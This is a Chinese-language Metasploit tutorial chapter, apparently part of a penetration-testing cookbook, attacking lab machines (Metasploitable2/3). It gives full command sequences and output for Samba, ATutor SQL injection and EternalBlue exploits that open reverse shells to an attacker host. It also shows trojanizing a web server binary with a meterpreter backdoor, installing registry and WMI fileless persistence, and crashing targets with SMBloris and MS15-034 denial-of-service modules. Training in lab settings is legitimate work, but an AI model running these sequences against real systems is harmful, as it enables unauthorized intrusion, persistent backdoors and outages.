简介

在第二章的信息收集和扫描中，我们收集了目标的IP地址，端口，服务，操作系统等信息。信息收集过程中最大的收获是服务器或系统的操作系统信息。这些信息对后续的渗透目标机器非常有用，因为我们可以快速查找系统上运行的服务和漏洞信息。这个过程有点复杂，但是有了这些信息可以很大程度减轻我们后续的工作。

每一个操作系统都存在一些缺陷。一旦漏洞被报告出来，漏洞利用程序开发也开始了。获得许可的操作系统，比如Windows，可以很快为漏洞或BUG开发补丁程序，并推送给用户更新。漏洞披露是一个严重的问题，特别是 0day 漏洞会对计算机行业造成严重破坏。0day 收到高度追捧，在市场上的价格可达 15000美元到1000000美元。漏洞被发现并被利用，但漏洞的披露取决于研究人员及其意图。

像微软、苹果和谷歌这样的知名企业会定期为他们的产品发布补丁，因为他们要为众多的用户负责。但在公司场景中，情况会变得更糟，由于涉及停机时间和确保业务连续性不受影响，服务器需要数周才能修补。因此，建议您更新或密切关注正在使用的操作系统中发现的任何最新漏洞。未修补的系统是黑客的最爱，因为他们会立即发动攻击，危及目标。因此，必须定期修补和更新操作系统。在本章中，我们将重点讨论一些最流行的服务和操作系统中报告的漏洞。

在渗透测试的过程中，一旦目标操作系统的信息可用，渗透人员就开始寻找针对特定服务或操作系统漏洞的可利用程序。因此，本章将是我们深入了解目标服务器端漏洞的第一步。我们将重点介绍一些使用广泛的windows操作系统和Linux操作系统。我们还将研究如何使用利用这些漏洞，并设置它们的参数，使它们能够在目标机器上执行。最后，我们将讨论 Metasploit 框架中的攻击载荷(payloads)。

在对目标机器攻击利用之前，我们首先要知道一些关于攻击模块和攻击载荷的基础知识，比如如何设置参数等。

为了对目标进行漏洞利用攻击，首先需要扫描目标的端口和服务，一旦收集了足够多的信息，下一步就是选择相对应的漏洞利用程序对目标进行攻击。让我们来学习一些 msfconsole中的漏洞利用命令。

关于 msfconsole 和如何启动 msfconsole ，在我们之前的章节已经讲解过了。

在msfconsole 中，如果要查看帮助，可以直接输入 help 命令即可

从输出结果来看，有许多的命令，你可能会被吓到。但之前我们已经了解了一些命令，比如数据库命令。现在我们将重点关注在漏洞利用阶段最有用的命令，并在过程中了解其他命令。

最有用的命令：search命令


msf5 > search -h

通过 search我们可以查找非常多的东西，包括模块，漏洞等等。

1、攻击Linux服务器

Linux是使用最为广泛的操作系统之一，在前面的章节中，我们学习了如何扫描可用服务和利用漏洞扫描器扫描查找目标漏洞。在本节中，我们将使用Metasploitable2作为靶机，我们将利用Samba服务漏洞对Linux目标机进行攻击。

准备工作

首先，我们使用servives命令查找之前nmap的扫描结果，并过滤139和445端口。


msf5 > services -c port,info -p 139,445 192.168.177.145           
Services                                                          
========                                                          
                                                                  
host             port  info                                       
----             ----  ----                                       
192.168.177.145  139   Samba smbd 3.X - 4.X workgroup: WORKGROUP  
192.168.177.145  445   Samba smbd 3.X - 4.X workgroup: WORKGROUP  
                                                                  
msf5 >                                                            
复制代码

现在我们知道了目标Samba的版本信息，我们就可以去查找相对应的漏洞，然后使用search命令搜索可使用的攻击模块。

TIP：我们可以在通用漏洞披露（CVE）在线平台https://www.cvedetails.com中找到有关Samba 3.0.20漏洞的细节。

通过 search命令过滤 CVE、模块类型、关键字即可找到可利用的攻击模块。


msf5 > search cve:2007 type:exploit samba
 
Matching Modules
================
 
   #  Name                                       Disclosure Date  Rank       Check  Description

怎么做

1、选择攻击模块


msf5 > use exploit/multi/samba/usermap_script
msf5 exploit(multi/samba/usermap_script) >
复制代码

2、运行info可查看模块信息


msf5 exploit(multi/samba/usermap_script) > info
 
       Name: Samba "username map script" Command Execution
     Module: exploit/multi/samba/usermap_script
   Platform: Unix
       Arch: cmd
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2007-05-14
......
Description:
  This module exploits a command execution vulnerability in Samba
  versions 3.0.20 through 3.0.25rc3 when using the non-default
  "username map script" configuration option. By specifying a username
  containing shell meta characters, attackers can execute arbitrary
  commands. No authentication is needed to exploit this vulnerability
  since this option is used to map usernames prior to authentication!
References:

msf5 exploit(multi/samba/usermap_script) >
复制代码

通过模块描述信息，可用看出，该模块利用Samba 3.0.20到3.0.25rc中的命令执行漏洞。我们来试试。

3、配置参数

通过show missing命令，查看必须要配置的参数


msf5 exploit(multi/samba/usermap_script) > show missing
 
Module options (exploit/multi/samba/usermap_script):
 
   Name    Current Setting  Required  Description
   ----    ---------------  --------  -----------
   RHOSTS                   yes       The target address range or CIDR identifier
 
msf5 exploit(multi/samba/usermap_script) >
复制代码

TIP：要显示模块的高级选项，你可以使用show advanced 命令

这里只需要我们设置目标的IP地址即可，我们通过set [options] [value]来设置


msf5 exploit(multi/samba/usermap_script) > set RHOSTS 192.168.177.145
RHOSTS => 192.168.177.145
msf5 exploit(multi/samba/usermap_script) >
复制代码

4、攻击

执行exploit即可。


msf5 exploit(multi/samba/usermap_script) > exploit

复制代码

攻击成功后，我们将获得与目标机器的连接会话。我们可用执行一些命令，来验证是否获得了目标机器的权限。


hostname

它是如何工作的

Samba是用于Linux和Windows之间的打印和文件共享的服务。Samba 3.0.0至3.0.25rc3的smbd中的MS-RPC功能允许远程攻击者通过SamrChangePassword功能的shell元字符执行任意命令，当启用smb.conf中“用户名映射脚本”选项时(不是默认启用的)，允许远程认证的用户通过远程打印机中的其他MS-RPC功能的外部元字符执行命令，以及文件共享管理。该漏洞攻击模块通过指定一个用户名包含shell元字符,攻击者可以执行任意命令。因为此选项用于在身份验证之前映射用户名，所以不需要身份验证就可以利用此漏洞。

有效攻击载荷？

我们没有指定payload，所以Metasploit默认为我们指定了payload。我们可用show options查看


msf5 exploit(multi/samba/usermap_script) > show options

我们还可以通过sessions -u [sessions_id] 可以将shell会话升级成meterpreter会话，从而可以利用meterpreter的高级功能。关于meterpreter会在后续的章节中详细讲解。

复制代码

2、SQL 注入

Metasploit有几个SQL注入漏洞的利用模块，使我们能够测试和验证目标是否易受攻击。

准备工作

我们将安装一个易受攻击的开源LMS：Atutor 2.2.1进行测试，访问www.exploit-db.com/exploits/39… ，点击VULNERABLE APP旁边的下载按钮开源下载Atutor 2.2.1。

TIP：至于怎么安装 ATutor，可以查看官方文档。

怎么做

该模块利用了ATutor 2.2.1的SQL注入漏洞和身份验证漏洞，这意味着我们可以绕过身份验证，访问管理接口，上传恶意代码。

1、使用exploit/multi/http/atutor_sqli模块，查看模块选项


msf5 > use  exploit/multi/http/atutor_sqli
msf5 exploit(multi/http/atutor_sqli) > show options
 
Module options (exploit/multi/http/atutor_sqli):
 
   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                      yes       The target address range or CIDR identifier
   RPORT      80               yes       The target port (TCP)
   SSL        false            no        Negotiate SSL/TLS for outgoing connections
   TARGETURI  /ATutor/         yes       The path of Atutor
   VHOST                       no        HTTP server virtual host
 
 
Exploit target:
 
   Id  Name
   --  ----
   0   Automatic
 
 
msf5 exploit(multi/http/atutor_sqli) >
复制代码

2、攻击之前，可以通过check命令检测目标是否易受攻击。然后进行攻击


msf5 exploit(multi/http/atutor_sqli) > check
[+] 192.168.177.139:80 - The target is vulnerable.
msf5 exploit(multi/http/atutor_sqli) >

[!] This exploit may require manual cleanup of 'ytux.php' on the target
[!] This exploit may require manual cleanup of '/var/content/module/zyq/ytux.php' on the target

根据密码复杂度不同，所需时长也不同。攻击成功后，获取了shell


meterpreter > getuid
Server username: Administrator (0)
meterpreter > sysinfo
Computer    : WIN-BGKRU85VR4H
OS          : Windows NT WIN-BGKRU85VR4H 6.1 build 7600 (Windows 7 Business Edition) i586
Meterpreter : php/windows
meterpreter >
复制代码

3、shell类型

在进行下一节内容的学习之前，我们先来讨论一些可用shell的类型。shell大体上分为两种，一种是bind shell一种是reverse shjell。

bindshell 又叫正向连接shell。是指程序在目标机本地端口上监听，允许攻击者连接到监听端口。bind shell非常适合本地漏洞，比如当你已经通过钓鱼攻击成功危害了目标计算机，并希望利用本地服务提权的时候。但是它不适合远程攻击场景。因为通常来说目标位于防火墙后面。

所以大部分时候，我们更多的使用reverse shell，又称反向shell作为我们的有效攻击载荷。反向shell是在攻击者上监听端口，攻击程序在目标机上运行后主动连接到攻击者监听的端口。由于防火墙大多数时候只限制入站规则。因此反向shell更容易绕过防火墙。

Payloads

Metasploit中由三种不同类型的payload模块，分别是：singles、stagers和stages。

Singles：独立载荷，可直接植入目标系统并执行的程序，比如 shell_bind_tcp

Stagers：传输器载荷，负责建立网络连接，与stages载荷配合使用。这种载荷体积小且可靠

Stages：传输体载荷，在stagers建立好稳定的连接之后，提供的高级功能。如 shell，meterpreter， dllinject, patchupdllinject, upexec,vncinject等。metasploit中meterpreter其实就是一个payload。它需stagers和stages配合使用。

准备工作

在上一节中的SQL注入中，已经获得一个有效的漏洞利用。所以我们将使用它来测试不同类型的payload

怎么做

1、使用show payloads命令显示可用的载荷。

3、generic/shell_bind_tcp是一个独立载荷。要选择它作为有效载荷，我们使用set payload <payload_name>


msf5 exploit(multi/http/atutor_sqli) > set payload generic/shell_bind_tcp
payload => generic/shell_bind_tcp
msf5 exploit(multi/http/atutor_sqli) > exploit

复制代码

4、使用generic/shell_bind_tcp载荷可用得到一个通用的shell，但远远不够，PHP Meterprete是一个特性丰富且更高级的载荷，我们可以用它来利用此漏洞。

4、攻击Windows 服务器

利用之前收集的信息，我们将对Windows服务器作为目标进行漏洞利用。本节我们将使用Metasploitable3作为靶机。

准备工作

通过收集的信息，查找漏洞，选择合适的漏洞里利用模块。

使用services查看目标Apache服务版本。


msf5 > services -p 8020 192.168.177.144
Services
========
 
host             port  proto  name  state  info
----             ----  -----  ----  -----  ----
192.168.177.144  8020  tcp    http  open   Apache httpd
 
msf5 >
复制代码

访问目标站点

通过浏览目标站点，我们可以尝试使用弱口令进行登录，比如 admin

居然登录进去了。

怎么做

1、查看运行在 8484端口的 Jenkins-CI服务。


msf5 > services 192.168.177.144 -p 8484
Services
========
 
host             port  proto  name  state  info

192.168.177.144  8484  tcp    http  open   Jetty winstone-2.8
复制代码

这里，并没有显示 Jenkins，浏览器访问看看

确实是一个 Jenkins服务

我们使用search jenkins搜索可利用的模块


msf5 > search jenkins

5、利用公用服务

在漏洞攻击时，有些服务跟目标上其他大部分服务都有关系，而大多数是情况下它们被忽视了。

准备工作

在本节中，我们将利用目标环境中最常见和最容易被滥用的服务-Mysql。大多数情况下，我们可以利用Mysql服务，因为它们是出于开发目的安装的。忽略了一些安全加固。比如设置root密码或者设置强密码。

本节我们将使用Metasploitable3作为靶机

怎么做

要利用目标的Mysql服务，我们先使用MySQL枚举模块枚举目标，然后使用Oracle MySQL for the Microsoft Windows Payload攻击模块获取远程主机的shell。

TIP：mysql_paylod模块在新版的Metasploit中被移除了。不过你可以从 https://www.exploit-db.com/download/16957下载这个模块，放到Metasploit对应的模块目录中(/usr/share/metasploit-framework/modules/exploits/windows/mysql)，修改代码的前面几行为如下内容就行。

如果目标Mysql没有设置root密码，因此可以使用 MySQL服务上传shell并获得系统的远程访问权限。就像上面一样。所以，永远不要忘记对基础服务进行渗透测试。即便你认为不会有人傻到配置无密码的服务。

6、MS17-010 永恒之蓝 SMB远程代码执行Windows内核破坏

再次利用在信息收集和扫描阶段收集的信息，特别是MS17-010 SMB RCE检测辅助模块的输出信息，我们可以转向下一个易受攻击的服务。

准备工作

MS17-010 EthernalBlue SMB Remote Windows Kernel Pool Corruption攻击模块是Equation Group ETERNALBLUE的一部分。Equation Group ETERNALBLUE是FuzzBunch toolkit的一部分。由Shadow Brokrs从美国国家安全局（NSA）获取并公开。ETERNALBLUE通常被认为是由NSA开发。它利用srv.sys在处理SrvOs2FeaListSizeToNt的时候逻辑不正确导致越界拷贝从而造成缓冲区溢出，进而允许我们执行任意命令。它在被公开后被用在WannaCry勒索软件中进行攻击。此漏洞会影响所有运行SMBv1服务且未更新SMB安全补丁的Windows计算机和Windows服务器。

怎么做

载入ms17_010_eternalblue模块，设置目标IP地址，设置Payload，然后执行攻击


msf5 exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS 192.168.177.144

7、MS17-010 EternalRomance/EternalSynergy/EternalChampion

MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution攻击模块也可用于MS17-0101漏洞利用。而且比EnternalBlue更可靠，不过需要命名管道。

怎么做

使用模块ms17_010_psexec


msf5 > use exploit/windows/smb/ms17_010_psexec
msf5 exploit(windows/smb/ms17_010_psexec) > set RHOSTS 192.168.177.144
RHOSTS => 192.168.177.144
msf5 exploit(windows/smb/ms17_010_psexec) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp

8、安装后门

获取shell后，我们如果需要确保能持久性的访问目标系统，我们需要安装后门。

准备工作

通过之前的漏洞利用，我们已经获得了与目标机的session，我们将利用meterpreter session来安装后门服务。这里以httpd.exe为例。


meterpreter > ps -S httpd.exe           
Filtering on 'httpd.exe'

meterpreter >                             
复制代码

接下来，我们将利用windows注册表持久性模块安装随系统启动的后门。

最后我们将利用WMI( Windows Management Instrumentation )创建一个无文件后门。

怎么做

1、不能在程序运行的时候安装后门，所以先杀死进程


meterpreter > kill 3880
Killing: 3880
meterpreter >
复制代码

2、将需要替换成后门的程序下载下来


meterpreter > download C:\\wamp\\bin\\apache\\apache2.2.21\\bin\\httpd.exe
[*] Downloading: C:\wamp\bin\apache\apache2.2.21\bin\httpd.exe -> httpd.exe
[*] Downloaded 21.00 KiB of 21.00 KiB (100.0%): C:\wamp\bin\apache\apache2.2.21\bin\httpd.exe -> httpd.exe
[*] download   : C:\wamp\bin\apache\apache2.2.21\bin\httpd.exe -> httpd.exe
meterpreter >
复制代码

3、将会话退回到后台，使用reverse_tcp攻击载荷，使用generate生成后门文件。


msf5 exploit(windows/smb/ms17_010_psexec) > use payload/windows/x64/meterpreter/reverse_tcp
msf5 payload(windows/x64/meterpreter/reverse_tcp) > set LHOST 192.168.177.143
LHOST => 192.168.177.143
msf5 payload(windows/x64/meterpreter/reverse_tcp) > generate -p Windows -x /root/httpd.exe -k -f exe -o /root/httpd-backdoored.exe
[*] Writing 29184 bytes to /root/httpd-backdoored.exe...
msf5 payload(windows/x64/meterpreter/reverse_tcp) >
复制代码

关于generate的参数说明，可以查看帮助信息


msf5 payload(windows/x64/meterpreter/reverse_tcp) > generate -h
Usage: generate [options]

复制代码

4、启动一个监听，监听后门的反向连接，并使用expolit -j放到后台运行


msf5 payload(windows/x64/meterpreter/reverse_tcp) > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set LHOST 192.168.177.143
LHOST => 192.168.177.143
msf5 exploit(multi/handler) > exploit -j
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
 
[*] Started reverse TCP handler on 192.168.177.143:4444
msf5 exploit(multi/handler) >
复制代码

5、切回之前的meterpreter session，上传后门文件并重命名。


msf5 exploit(multi/handler) > sessions -i 3
[*] Starting interaction with 3...
 
meterpreter > cd C:\\wamp\\bin\\apache\\apache2.2.21\\bin\\
meterpreter > mv httpd.exe httpd.exe.backup
meterpreter > upload /root/httpd-backdoored.exe
[*] uploading  : /root/httpd-backdoored.exe -> httpd-backdoored.exe
[*] Uploaded 28.50 KiB of 28.50 KiB (100.0%): /root/httpd-backdoored.exe -> httpd-backdoored.exe
[*] uploaded   : /root/httpd-backdoored.exe -> httpd-backdoored.exe
meterpreter > mv httpd-backdoored.exe httpd.exe
meterpreter >
 
复制代码

6、使用shell命令进入目标系统的shell,重启wampapache服务。


meterpreter > shell
Process 1976 created.
Channel 3 created.
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.
 
C:\wamp\bin\apache\apache2.2.21\bin>net stop wampapache
net stop wampapache
The wampapache service is stopping.net sta
The wampapache service was stopped successfully.
C:\wamp\bin\apache\apache2.2.21\bin>net start wampapache
 
[*] Sending stage (206403 bytes) to 192.168.177.144
net start wampapache
The wampapache service is starting.
The wampapache service was started successfully.
 
复制代码

你会发现，服务启动后，返回了新的会话


C:\wamp\bin\apache\apache2.2.21\bin>[*] Meterpreter session 4 opened (192.168.177.143:4444 -> 192.168.177.144:63068) at 2019-04-28 10:32:44 +0800
[*] Sending stage (206403 bytes) to 192.168.177.144

....
msf5 exploit(multi/handler) > sessions -l
 
Active sessions

  4         meterpreter x64/windows  NT AUTHORITY\LOCAL SERVICE @ METASPLOITABLE3  192.168.177.143:4444 -> 192.168.177.144:63068 (192.168.177.144)
  5         meterpreter x64/windows  NT AUTHORITY\LOCAL SERVICE @ METASPLOITABLE3  192.168.177.143:4444 -> 192.168.177.144:63069 (192.168.177.144)
 
msf5 exploit(multi/handler) >
复制代码

7、使用Windows注册表持久化模块植入后门。我们利用永恒之蓝攻击获得的会话进行后门植入操作。


msf5 exploit(windows/smb/ms17_010_eternalblue) > use exploit/windows/local/registry_persistence
smsf5 exploit(windows/local/registry_persistence) > set SESSION 6
SESSION => 6
msf5 exploit(windows/local/registry_persistence) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf5 exploit(windows/local/registry_persistence) > set LHOST 192.168.177.143
LHOST => 192.168.177.143
msf5 exploit(windows/local/registry_persistence) > set LPORT 9999
msf5 exploit(windows/local/registry_persistence) > exploit
 
[*] Generating payload blob..
[+] Generated payload, 5944 bytes
[*] Root path is HKCU
[*] Installing payload blob..
[+] Created registry key HKCU\Software\cPH3pG4G
[+] Installed payload blob to HKCU\Software\cPH3pG4G\q3jhQYTs
[*] Installing run key
[-] Exploit aborted due to failure: unknown: Could not install run key
msf5 exploit(windows/local/registry_persistence) >
 
复制代码

这里因为环境问题，并未植入成功。

8、如果成功，然后就可以设置监听，以便目标重启的时候获得反向shell会话


msf5 exploit(multi/handler) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set LHOST 192.168.177.143
LHOST => 192.168.177.143
msf5 exploit(multi/handler) > set LPORT 9999
LPORT => 9999
msf5 exploit(multi/handler) > exploit -j
[*] Exploit running as background job 1.
[*] Exploit completed, but no session was created.
 
[*] Started reverse TCP handler on 192.168.177.143:9999
msf5 exploit(multi/handler) >
复制代码

9、当目标机器重启后，可以获得会话


meterpreter > reboot
Rebooting...
 
复制代码

10、利用WMI事件订阅创建无文件后门


msf5 exploit(windows/smb/ms17_010_eternalblue) > use exploit/windows/local/wmi_persistence
msf5 exploit(windows/local/wmi_persistence) > set SESSION 1
SESSION => 1
msf5 exploit(windows/local/wmi_persistence) > set CALLBACK_INTERVAL 60000 //设置回调时间为1分钟
CALLBACK_INTERVAL => 60000
msf5 exploit(windows/local/wmi_persistence) > set EVENT_ID_TRIGGER 4624 //设置事件ID
EVENT_ID_TRIGGER => 4624
msf5 exploit(windows/local/wmi_persistence) > set USERNAME_TRIGGER Administrator //设置用户
USERNAME_TRIGGER => Administrator
msf5 exploit(windows/local/wmi_persistence) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
smsf5 exploit(windows/local/wmi_persistence) > set LHOST 192.168.177.143
LHOST => 192.168.177.143
msf5 exploit(windows/local/wmi_persistence) > set LPORT 4433
LPORT => 4433
msf5 exploit(windows/local/wmi_persistence) > exploit
 
[-] This module cannot run as System
复制代码

11、提示未成功，我们可以使用migrate将meterpreter shell进程进行进程迁移，就是将meterpreter shell进程迁移到相对稳定应用的进程里。


msf5 exploit(windows/local/wmi_persistence) > sessions -i 1
[*] Starting interaction with 1...
 
meterpreter > ps
 
Process List
============

 ---   ----  ----                           ----  -------  ----                          ----

 .....
meterpreter > migrate -N explorer.exe //进程迁移不一定每次都能成功，可以多试几次
[*] Migrating from 1088 to 5624...
[*] Migration completed successfully.
meterpreter >
复制代码

然后再次攻击


meterpreter > background
[*] Backgrounding session 1...
msf5 exploit(windows/local/wmi_persistence) > exploit
 
[*] Installing Persistence...
[+]  - Bytes remaining: 12560
[+]  - Bytes remaining: 4560

[+] Persistence installed! Call a shell using "smbclient \\\\192.168.177.144\\C$ -U Administrator <arbitrary password>"
[*] Clean up Meterpreter RC file: /root/.msf4/logs/wmi_persistence/192.168.177.144_20190428.2114/192.168.177.144_20190428.2114.rc
msf5 exploit(windows/local/wmi_persistence) >
复制代码

注销目标机登录，然后重新登录，msfconsole这边就会接收到回连的会话


[*] Meterpreter session 2 opened (192.168.177.143:4433 -> 192.168.177.144:49437) at 2019-04-28 12:27:54 +0800
 
msf5 exploit(multi/handler) > sessions -i 2

9、拒绝服务攻击

拒绝服务攻击通常是通过向目标机请求大量的资源或利用漏洞，造成拒绝服务攻击，消耗目标机器性能，拒绝服务攻击会导致合法用户无法访问计算机服务或资源，甚至可能会导致服务或操作系统崩溃。

准备工作

SMBloris是一个已经存在了20 年的 Windows SMB 漏洞，此漏洞可导致拒绝服务攻击( DoS ) , 使得大规模服务器瘫痪。影响所有版本的 SMB 协议以及所有Windows 2000 之后的系统版本。

怎么做

1、在进行SMBloris拒绝服务攻击之前，要先设置攻击机的最大连接数。


root@osboxes:~# ulimit -n 65535
root@osboxes:~# ulimit -n
65535
root@osboxes:~#
复制代码

2、然后使用smb_loris模块来攻击目标机机器


msf5 auxiliary(dos/smb/smb_loris) > set RHOST 192.168.177.144
RHOST => 192.168.177.144
msf5 auxiliary(dos/smb/smb_loris) > run
 
[*] Starting server...
[*] 192.168.177.144:445 - 100 socket(s) open
[*] 192.168.177.144:445 - 200 socket(s) open
[*] 192.168.177.144:445 - 300 socket(s) open
[*] 192.168.177.144:445 - 400 socket(s) open
[*] 192.168.177.144:445 - 500 socket(s) open
[*] 192.168.177.144:445 - 600 socket(s) open
[*] 192.168.177.144:445 - 700 socket(s) open
[*] 192.168.177.144:445 - 800 socket(s) open
[*] 192.168.177.144:445 - 900 socket(s) open
[*] 192.168.177.144:445 - 1000 socket(s) open
[!] 192.168.177.144:445 - At open socket limit with 1017 sockets open. Try increasing you system limits.
[*] 192.168.177.144:445 - 1017 socket(s) open
[*] 192.168.177.144:445 - Holding steady at 1017 socket(s) open
 
复制代码

3、查看目标机器，我们可以看到由于攻击者发送了大量的SMB请求消耗了目标机的大量内存。每一个 NBSS 连接可以申请分配 128 KB 内存空间，在建立大量连接的情况下可以耗尽内存，达到拒绝服务的效果。

另一个可怕的DoS攻击是MS15-034HTTP协议栈请求处理拒绝服务。

如果Microsoft Windows 7, Windows 8, Windows Server 2008, or Windows Server 2012机器正在运行了存在MS15-034漏洞的IIS服务，那么可以利用这个漏洞导致目标服务器崩溃。


msf5 > use auxiliary/dos/http/ms15_034_ulonglongadd
msf5 auxiliary(dos/http/ms15_034_ulonglongadd) > set RHOSTS 192.168.177.144
RHOSTS => 192.168.177.144
msf5 auxiliary(dos/http/ms15_034_ulonglongadd) > exploit
 
[*] DOS request sent
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf5 auxiliary(dos/http/ms15_034_ulonglongadd) >
复制代码

可以看到，目标死机蓝屏了。
